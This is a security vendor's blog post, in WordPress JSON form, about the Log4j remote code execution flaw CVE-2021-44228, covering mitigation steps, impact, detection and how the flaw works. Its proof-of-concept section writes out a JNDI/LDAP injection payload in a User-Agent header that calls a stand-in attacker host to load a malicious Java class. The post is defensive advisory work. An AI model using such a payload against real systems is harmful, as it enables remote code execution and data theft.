{"id":72243,"date":"2021-12-12T12:03:48","date_gmt":"2021-12-12T17:03:48","guid":{"rendered":"https:\/\/staging.checkmarx.com\/?p=72243"},"modified":"2025-01-03T10:36:16","modified_gmt":"2025-01-03T08:36:16","slug":"apache-log4j-remote-code-execution-cve-2021-44228","status":"publish","type":"zero-post","link":"https:\/\/checkmarx.com\/blog\/apache-log4j-remote-code-execution-cve-2021-44228\/","title":{"rendered":"Apache Log4j Remote Code Execution &#8211; CVE-2021-44228"},"content":{"rendered":"<p>On December 9th, the most critical zero-day exploit in recent years was discovered affecting most of the biggest enterprise companies. This critical 0-day <a href=\"https:\/\/logging.apache.org\/log4j\/2.x\/security.html\" target=\"_blank\" rel=\"noreferrer noopener\">exploit was discovered<\/a> in the extremely popular Java logging library <a href=\"https:\/\/mvnrepository.com\/artifact\/log4j\/log4j\" target=\"_blank\" rel=\"noreferrer noopener\">log4j <\/a>which allows RCE (Remote code execution) by logging a certain payload.<\/p>\n\n\n\n<p>This vulnerability is also known as <a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2021-44228\" target=\"_blank\" rel=\"noreferrer noopener\">CVE-2021-44228 <\/a>which has a CVSS (Common Vulnerability Scoring System) score of 10, which is the highest risk possible and was published by <a href=\"https:\/\/github.com\/advisories\/GHSA-jfh8-c2jp-5v3q\" target=\"_blank\" rel=\"noreferrer noopener\">GitHub advisory<\/a> with a critical severity level.<\/p>\n\n\n\n<p>According to <a href=\"https:\/\/github.com\/ossf\/scorecard\" target=\"_blank\" rel=\"noreferrer noopener\">Google\u2019s open-source scorecard project,<\/a> which calculate a health score for open-source repositories, log4j received 4.8 (from 1-10, 10 being the best score).<\/p>\n\n\n\n<h2 class=\"wp-block-heading article-anchor\" id=\"article-anchor-1\"><strong>How to remediate the Log4j RCE vulnerability?<\/strong><\/h2>\n\n\n\n<p>The easiest and most recommended way to remediate this vulnerability is to <a href=\"https:\/\/logging.apache.org\/log4j\/2.x\/download.html\" target=\"_blank\" rel=\"noreferrer noopener\">update to log4j version 2.15.0 or later<\/a>.<br>If updating the package is an issue, then in previous releases 2.10.0 through 2.15.0, this exploitable behavior can be mitigated by setting the system property to:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>log4j2.formatMsgNoLookups=true<\/code><\/pre>\n\n\n\n<p>Additionally, an environment variable can be set for these same affected versions:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>LOG4J_FORMAT_MSG_NO_LOOKUPS=true<\/code><\/pre>\n\n\n\n<p>For releases from 2.0-beta9 to 2.10.0, removing JndiLookup class from the classpath would be the solution. The command to perform such action is:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>zip -q -d log4j-core-*.jar org\/apache\/logging\/log4j\/core\/lookup\/JndiLookup.class<\/code><\/pre>\n\n\n\n<p>You can find more details in the <a href=\"https:\/\/github.com\/apache\/logging-log4j2\/commit\/c77b3cb39312b83b053d23a2158b99ac7de44dd3\" target=\"_blank\" rel=\"noreferrer noopener\">GitHub commit<\/a> that fixes this vulnerability.<\/p>\n\n\n\n<h2 class=\"wp-block-heading article-anchor\" id=\"article-anchor-2\"><strong>Why is it so critical?<\/strong><\/h2>\n\n\n\n<p>Amazon, Apple, Twitter, Minecraft, Cloudflare, Steam: this is only a very partial list of organizations that are impacted by this vulnerability.<\/p>\n\n\n\n<p>According to New Zealand CERT (Computer Emergency Response Team) and <a href=\"https:\/\/twitter.com\/_mattata\/status\/1469144854672379905\" target=\"_blank\" rel=\"noreferrer noopener\">Greynoise monitoring service<\/a>, attackers are actively looking for vulnerable servers to exploit this attack, and there are <a href=\"https:\/\/twitter.com\/GreyNoiseIO\/status\/1469326260803416073\" target=\"_blank\" rel=\"noreferrer noopener\">more than 100 distinct hosts that are scanning the internet<\/a> in order to find ways to exploit such vulnerability.<br><br>The impact is wide-scale as<strong> log4j<\/strong> is an <strong>extremely<\/strong> common logging library used across most Java applications, including in business systems to record log information.<\/p>\n\n\n\n<p>Less than 24 hours after the publication of this vulnerability, there was already a<a href=\"https:\/\/twitter.com\/GossiTheDog\/status\/1469322120840708100\" target=\"_blank\" rel=\"noreferrer noopener\"> crypto-miner deployed<\/a> that took advantage of this vulnerability.<\/p>\n\n\n\n<h2 class=\"wp-block-heading article-anchor\" id=\"article-anchor-3\"><strong>Am I vulnerable?<\/strong><\/h2>\n\n\n\n<p>You can freely check if your domain is vulnerable to CVE-2021-44228 using open-source testing tools, like <a href=\"https:\/\/github.com\/huntresslabs\/log4shell-tester\" target=\"_blank\" rel=\"noreferrer noopener\">GitHub &#8211; huntresslabs\/log4shell-tester<\/a> for example.<\/p>\n\n\n\n<p>Also, in case your application uses log4j below 2.15.0 as a <strong>direct package or transitive package<\/strong>, you are vulnerable.<br>Another way to verify is to check these hashes in your software inventory, in case you find them, you use vulnerable <strong>log4j <\/strong>in your systems: <\/p>\n\n\n\n<p><a href=\"https:\/\/github.com\/mubix\/CVE-2021-44228-Log4Shell-Hashes\" target=\"_blank\" rel=\"noreferrer noopener\">GitHub &#8211; mubix\/CVE-2021-44228-Log4Shell-Hashes: Hashes for vulnerable LOG4J versions<\/a><\/p>\n\n\n\n<p>As of Monday, December 13th, 2021 13:00 CET, a&nbsp;<a href=\"https:\/\/twitter.com\/marcioalm\/status\/1470361495405875200\" rel=\"noreferrer noopener\" target=\"_blank\">workaround was found<\/a>&nbsp;to bypass the trustURLCodebase=false setting. To be as secure as possible, we recommend updating your log4j library, instead of relying on any of the other patches.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img decoding=\"async\" src=\"https:\/\/checkmarx.com\/wp-content\/uploads\/2021\/12\/Screenshot-2021-12-12-123448-1.jpg\" alt=\"\" class=\"wp-image-94440\"><\/figure>\n<\/div>\n\n\n<p class=\"has-text-align-center\">Source: <a href=\"https:\/\/www.fastly.com\/blog\/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j\">Fastly<\/a><\/p>\n\n\n\n<h2 class=\"wp-block-heading article-anchor\" id=\"article-anchor-4\"><strong>How does it work?<\/strong><\/h2>\n\n\n\n<p>First, let us dive deeper to understand the components used in this attack: JNDI (<a href=\"https:\/\/en.wikipedia.org\/wiki\/Java_Naming_and_Directory_Interface\" target=\"_blank\" rel=\"noreferrer noopener\">Java Naming and Directory Interface<\/a>) is a Java API (Application Programming Interfaces) for a directory service that allows you to interface with LDAP or DNS (Domain Name Service) <a href=\"https:\/\/logging.apache.org\/log4j\/2.x\/manual\/lookups.html#JndiLookup\" target=\"_blank\" rel=\"noreferrer noopener\">to look up data and resources<\/a>.<\/p>\n\n\n\n<p>LDAP (<a href=\"https:\/\/en.wikipedia.org\/wiki\/Lightweight_Directory_Access_Protocol\" target=\"_blank\" rel=\"noreferrer noopener\">Lightweight Directory Access Protocol<\/a>) is an open and cross-platform protocol used for directory services authentication.<\/p>\n\n\n\n<p>From the <a href=\"https:\/\/docs.oracle.com\/javase\/jndi\/tutorial\/getStarted\/examples\/directory.html\" target=\"_blank\" rel=\"noreferrer noopener\">Java official documentation<\/a>, we can see an example of communicating with the LDAP server to retrieve attributes from an object.<\/p>\n\n\n\n<p>The LDAP server could be located anywhere on the internet, which means that if an attacker could control the LDAP URL, he would be able to load an object using a Java program, under a server in his control.<\/p>\n\n\n\n<h2 class=\"wp-block-heading article-anchor\" id=\"article-anchor-5\"><strong>Exploiting CVE-2021-44228<\/strong><\/h2>\n\n\n\n<p class=\"has-normal-font-size\">This attack is a combination of multiple vectors:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Lack of Input validation<\/li>\n\n\n\n<li>Unauthenticated SSRF<\/li>\n\n\n\n<li>Lack of whitelisting protocols for JNDI client<\/li>\n<\/ol>\n\n\n\n<p>log4j uses <a href=\"https:\/\/logging.apache.org\/log4j\/2.x\/manual\/configuration.html#PropertySubstitution\">special syntax<\/a> in the form of ${prefix:name} where prefix is a <a href=\"https:\/\/logging.apache.org\/log4j\/2.x\/manual\/lookups.html\">lookup <\/a>and name is evaluated.<br>For example, ${java:version} is the currently running version of Java.<\/p>\n\n\n\n<p>In this case, by overriding the ${prefix:name} prefix, the attacker could trigger the server to send a malicious request via the lookups function. This occurs due to the lack of validation of the prefix special syntax offered by log4j. By adding a custom prefix, an attacker could control the type of protocol, as for this attack it is LDAP. We should point out that the main logic for this attack vector (controlling the input in a JNDI lookup function) is a known exploit and it was published a few years ago &#8211; <a href=\"https:\/\/github.com\/welk1n\/JNDI-Injection-Exploit\">https:\/\/github.com\/welk1n\/JNDI-Injection-Exploit<\/a><\/p>\n\n\n\n<h2 class=\"wp-block-heading article-anchor\" id=\"article-anchor-6\"><strong>A Possible PoC<\/strong><\/h2>\n\n\n\n<p>One of the data types that might be returned is a URL pointing to a Java class, which might be an untrusted class, which runs a malicious actor\u2019s code.<\/p>\n\n\n\n<p>An example of logger that logs HTTP (HyperText Transfer Protocol) information:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>LOGGER.warn(\"Request User-Agent: {}\", userAgent);<\/code><\/pre>\n\n\n\n<p>An attacker might insert the payload to the User-Agent header:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>User-Agent: ${jndi:ldap:\/\/AttackerServer.com\/&lt;path_to_malicious_class&gt;}<\/code><\/pre>\n\n\n\n<p>In this scenario, the vulnerable <strong>log4j<\/strong> server will make an LDAP query to <strong>AttackerServer.com<\/strong>.<br><\/p>\n\n\n\n<p>AttackerServer.com will then respond with directory information containing the <strong>malicious_class<\/strong> attributes:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>javaClassName: &lt;class name&gt;<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>javaCodeBase: &lt;base URL&gt;<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>objectClass: javaNamingReference<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>javaFactory: &lt;file base&gt;<\/code><\/pre>\n\n\n\n<p>The <strong>javaFactory<\/strong> and <strong>javaCodeBase<\/strong> values are then used to build the object location that contains the Java class representing the final payload.<\/p>\n\n\n\n<p>The Java class will be loaded into memory and executed by the vulnerable<strong> log4j<\/strong> server.<\/p>\n\n\n\n<p>For example, an attacker could create a class that uses an object which returns the results of any command, like<strong> ls<\/strong>, to an external URL.<\/p>\n\n\n\n<p>The logger will evaluate the payload, call the malicious attacker server, and fetch the code written in the object.<\/p>\n\n\n\n<h2 class=\"wp-block-heading article-anchor\" id=\"article-anchor-7\"><strong>Exploitable path:<\/strong><\/h2>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img decoding=\"async\" src=\"https:\/\/checkmarx.com\/wp-content\/uploads\/2021\/12\/Screenshot-2021-12-12-122132-1.jpg\" alt=\"\" class=\"wp-image-94441\"><\/figure>\n<\/div>\n\n\n<p>The vulnerability described in CVE-2021-44228 is caused by log4j-core&#8217;s jndiLookup functionality, which log4j-api does not provide and so it is not vulnerable by itself for the log4shell vulnerabilities. However, log4j-api package provides the interface and the adapter components required for implementing log4j-core&#8217;s logging capabilities.<\/p>\n\n\n\n<p>These functions are reached by the following logger functions, which are defined in the <a href=\"https:\/\/github.com\/apache\/logging-log4j2\/blob\/master\/log4j-api\/src\/main\/java\/org\/apache\/logging\/log4j\/Logger.java\">Logger.java<\/a> file:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Logger.debug()<\/li>\n\n\n\n<li>Logger.error()<\/li>\n\n\n\n<li>Logger.warn()<\/li>\n\n\n\n<li>Logger.fatal()<\/li>\n\n\n\n<li>Logger.info()<\/li>\n\n\n\n<li>Logger.trace()<\/li>\n\n\n\n<li>Logger.log()<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading article-anchor\" id=\"article-anchor-8\"><strong>CxSCA Mitigation<\/strong><\/h2>\n\n\n\n<p>Checkmarx offers <a href=\"https:\/\/checkmarx.com\/cxsca-open-source-scanning\/\">CxSCA<\/a>, which enables your organization to address open-source security issues earlier in the SDLC (Software Development Life Cycle) and cut down on manual processes by scanning your code, identifying the security risk it contains, so you can deliver secure &amp; compliant software faster and at scale. SBOM (software bill of materials) automation at scale seems like the need of the hour for anyone that uses open-source code.<\/p>\n\n\n\n<p><br>For a free demonstration of CxSCA, please contact us <a href=\"https:\/\/checkmarx.com\/request-a-demo\/?utm_source=blog&amp;utm_medium=direct&amp;utm_campaign=software-composition-analysis-why-exploitable-path-is-imperative\">here<\/a>.<\/p>","protected":false},"excerpt":{"rendered":"<p>On December 9th, the most critical zero-day exploit in recent years was discovered affecting most of the biggest enterprise companies. This critical 0-day exploit was discovered in the extremely popular Java logging library log4j which allows RCE (Remote code execution) by logging a certain payload. This vulnerability is also known as CVE-2021-44228 which has a [&hellip;]<\/p>\n","protected":false},"author":29,"featured_media":72248,"template":"","zero-category":[1067,1104],"zero-tag":[1068,1073,1070,1084],"class_list":["post-72243","zero-post","type-zero-post","status-publish","has-post-thumbnail","hentry","zero-category-blog","zero-category-technical-blog","zero-tag-checkmarx-security-research-team","zero-tag-english","zero-tag-open-source-security","zero-tag-vulnerability"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.1.1 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Apache Log4j Remote Code Execution - CVE-2021-44228 - Checkmarx.com<\/title>\n<meta name=\"description\" content=\"On December 9th, the most critical zero-day exploit in recent years was discovered affecting most of the biggest enterprise companies. This critical 0-day exploit was discovered in the extremely popular Java logging library log4j which allows RCE (Remote code execution) by logging a certain payload.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/checkmarx.com\/blog\/apache-log4j-remote-code-execution-cve-2021-44228\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Apache Log4j Remote Code Execution - CVE-2021-44228\" \/>\n<meta property=\"og:description\" content=\"On December 9th, the most critical zero-day exploit in recent years was discovered affecting most of the biggest enterprise companies. This critical 0-day exploit was discovered in the extremely popular Java logging library log4j which allows RCE (Remote code execution) by logging a certain payload.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/checkmarx.com\/blog\/apache-log4j-remote-code-execution-cve-2021-44228\/\" \/>\n<meta property=\"og:site_name\" content=\"Checkmarx\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/Checkmarx.Source.Code.Analysis\" \/>\n<meta property=\"article:modified_time\" content=\"2025-01-03T08:36:16+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/checkmarx.com\/wp-content\/uploads\/2021\/12\/log4j.png\" \/>\n\t<meta property=\"og:image:width\" content=\"1200\" \/>\n\t<meta property=\"og:image:height\" content=\"631\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:title\" content=\"Apache Log4j Remote Code Execution - CVE-2021-44228\" \/>\n<meta name=\"twitter:description\" content=\"On December 9th, the most critical zero-day exploit in recent years was discovered affecting most of the biggest enterprise companies. This critical 0-day exploit was discovered in the extremely popular Java logging library log4j which allows RCE (Remote code execution) by logging a certain payload.\" \/>\n<meta name=\"twitter:image\" content=\"https:\/\/checkmarx.com\/wp-content\/uploads\/2021\/12\/log4j.png\" \/>\n<meta name=\"twitter:site\" content=\"@checkmarx\" \/>\n<meta name=\"twitter:label1\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data1\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/checkmarx.com\/blog\/apache-log4j-remote-code-execution-cve-2021-44228\/\",\"url\":\"https:\/\/checkmarx.com\/blog\/apache-log4j-remote-code-execution-cve-2021-44228\/\",\"name\":\"Apache Log4j Remote Code Execution - CVE-2021-44228 - Checkmarx.com\",\"isPartOf\":{\"@id\":\"https:\/\/checkmarx.com\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/checkmarx.com\/blog\/apache-log4j-remote-code-execution-cve-2021-44228\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/checkmarx.com\/blog\/apache-log4j-remote-code-execution-cve-2021-44228\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/checkmarx.com\/wp-content\/uploads\/2021\/12\/shutterstock_1645398727.png\",\"datePublished\":\"2021-12-12T17:03:48+00:00\",\"dateModified\":\"2025-01-03T08:36:16+00:00\",\"description\":\"On December 9th, the most critical zero-day exploit in recent years was discovered affecting most of the biggest enterprise companies. This critical 0-day exploit was discovered in the extremely popular Java logging library log4j which allows RCE (Remote code execution) by logging a certain payload.\",\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/checkmarx.com\/blog\/apache-log4j-remote-code-execution-cve-2021-44228\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/checkmarx.com\/blog\/apache-log4j-remote-code-execution-cve-2021-44228\/#primaryimage\",\"url\":\"https:\/\/checkmarx.com\/wp-content\/uploads\/2021\/12\/shutterstock_1645398727.png\",\"contentUrl\":\"https:\/\/checkmarx.com\/wp-content\/uploads\/2021\/12\/shutterstock_1645398727.png\",\"width\":1024,\"height\":512},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/checkmarx.com\/#website\",\"url\":\"https:\/\/checkmarx.com\/\",\"name\":\"Checkmarx\",\"description\":\"The world runs on code. We secure it.\",\"publisher\":{\"@id\":\"https:\/\/checkmarx.com\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/checkmarx.com\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/checkmarx.com\/#organization\",\"name\":\"Checkmarx\",\"url\":\"https:\/\/checkmarx.com\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/checkmarx.com\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/checkmarx.com\/wp-content\/uploads\/2024\/02\/logo-dark.svg\",\"contentUrl\":\"https:\/\/checkmarx.com\/wp-content\/uploads\/2024\/02\/logo-dark.svg\",\"width\":1,\"height\":1,\"caption\":\"Checkmarx\"},\"image\":{\"@id\":\"https:\/\/checkmarx.com\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/Checkmarx.Source.Code.Analysis\",\"https:\/\/x.com\/checkmarx\",\"https:\/\/www.youtube.com\/user\/CheckmarxResearchLab\",\"https:\/\/www.linkedin.com\/company\/checkmarx\"]}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Apache Log4j Remote Code Execution - CVE-2021-44228 - Checkmarx.com","description":"On December 9th, the most critical zero-day exploit in recent years was discovered affecting most of the biggest enterprise companies. This critical 0-day exploit was discovered in the extremely popular Java logging library log4j which allows RCE (Remote code execution) by logging a certain payload.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/checkmarx.com\/blog\/apache-log4j-remote-code-execution-cve-2021-44228\/","og_locale":"en_US","og_type":"article","og_title":"Apache Log4j Remote Code Execution - CVE-2021-44228","og_description":"On December 9th, the most critical zero-day exploit in recent years was discovered affecting most of the biggest enterprise companies. This critical 0-day exploit was discovered in the extremely popular Java logging library log4j which allows RCE (Remote code execution) by logging a certain payload.","og_url":"https:\/\/checkmarx.com\/blog\/apache-log4j-remote-code-execution-cve-2021-44228\/","og_site_name":"Checkmarx","article_publisher":"https:\/\/www.facebook.com\/Checkmarx.Source.Code.Analysis","article_modified_time":"2025-01-03T08:36:16+00:00","og_image":[{"width":1200,"height":631,"url":"https:\/\/checkmarx.com\/wp-content\/uploads\/2021\/12\/log4j.png","type":"image\/png"}],"twitter_card":"summary_large_image","twitter_title":"Apache Log4j Remote Code Execution - CVE-2021-44228","twitter_description":"On December 9th, the most critical zero-day exploit in recent years was discovered affecting most of the biggest enterprise companies. This critical 0-day exploit was discovered in the extremely popular Java logging library log4j which allows RCE (Remote code execution) by logging a certain payload.","twitter_image":"https:\/\/checkmarx.com\/wp-content\/uploads\/2021\/12\/log4j.png","twitter_site":"@checkmarx","twitter_misc":{"Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/checkmarx.com\/blog\/apache-log4j-remote-code-execution-cve-2021-44228\/","url":"https:\/\/checkmarx.com\/blog\/apache-log4j-remote-code-execution-cve-2021-44228\/","name":"Apache Log4j Remote Code Execution - CVE-2021-44228 - Checkmarx.com","isPartOf":{"@id":"https:\/\/checkmarx.com\/#website"},"primaryImageOfPage":{"@id":"https:\/\/checkmarx.com\/blog\/apache-log4j-remote-code-execution-cve-2021-44228\/#primaryimage"},"image":{"@id":"https:\/\/checkmarx.com\/blog\/apache-log4j-remote-code-execution-cve-2021-44228\/#primaryimage"},"thumbnailUrl":"https:\/\/checkmarx.com\/wp-content\/uploads\/2021\/12\/shutterstock_1645398727.png","datePublished":"2021-12-12T17:03:48+00:00","dateModified":"2025-01-03T08:36:16+00:00","description":"On December 9th, the most critical zero-day exploit in recent years was discovered affecting most of the biggest enterprise companies. This critical 0-day exploit was discovered in the extremely popular Java logging library log4j which allows RCE (Remote code execution) by logging a certain payload.","inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/checkmarx.com\/blog\/apache-log4j-remote-code-execution-cve-2021-44228\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/checkmarx.com\/blog\/apache-log4j-remote-code-execution-cve-2021-44228\/#primaryimage","url":"https:\/\/checkmarx.com\/wp-content\/uploads\/2021\/12\/shutterstock_1645398727.png","contentUrl":"https:\/\/checkmarx.com\/wp-content\/uploads\/2021\/12\/shutterstock_1645398727.png","width":1024,"height":512},{"@type":"WebSite","@id":"https:\/\/checkmarx.com\/#website","url":"https:\/\/checkmarx.com\/","name":"Checkmarx","description":"The world runs on code. We secure it.","publisher":{"@id":"https:\/\/checkmarx.com\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/checkmarx.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/checkmarx.com\/#organization","name":"Checkmarx","url":"https:\/\/checkmarx.com\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/checkmarx.com\/#\/schema\/logo\/image\/","url":"https:\/\/checkmarx.com\/wp-content\/uploads\/2024\/02\/logo-dark.svg","contentUrl":"https:\/\/checkmarx.com\/wp-content\/uploads\/2024\/02\/logo-dark.svg","width":1,"height":1,"caption":"Checkmarx"},"image":{"@id":"https:\/\/checkmarx.com\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/Checkmarx.Source.Code.Analysis","https:\/\/x.com\/checkmarx","https:\/\/www.youtube.com\/user\/CheckmarxResearchLab","https:\/\/www.linkedin.com\/company\/checkmarx"]}]}},"_links":{"self":[{"href":"https:\/\/checkmarx.com\/wp-json\/wp\/v2\/zero-post\/72243","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/checkmarx.com\/wp-json\/wp\/v2\/zero-post"}],"about":[{"href":"https:\/\/checkmarx.com\/wp-json\/wp\/v2\/types\/zero-post"}],"author":[{"embeddable":true,"href":"https:\/\/checkmarx.com\/wp-json\/wp\/v2\/users\/29"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/checkmarx.com\/wp-json\/wp\/v2\/media\/72248"}],"wp:attachment":[{"href":"https:\/\/checkmarx.com\/wp-json\/wp\/v2\/media?parent=72243"}],"wp:term":[{"taxonomy":"zero-category","embeddable":true,"href":"https:\/\/checkmarx.com\/wp-json\/wp\/v2\/zero-category?post=72243"},{"taxonomy":"zero-tag","embeddable":true,"href":"https:\/\/checkmarx.com\/wp-json\/wp\/v2\/zero-tag?post=72243"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}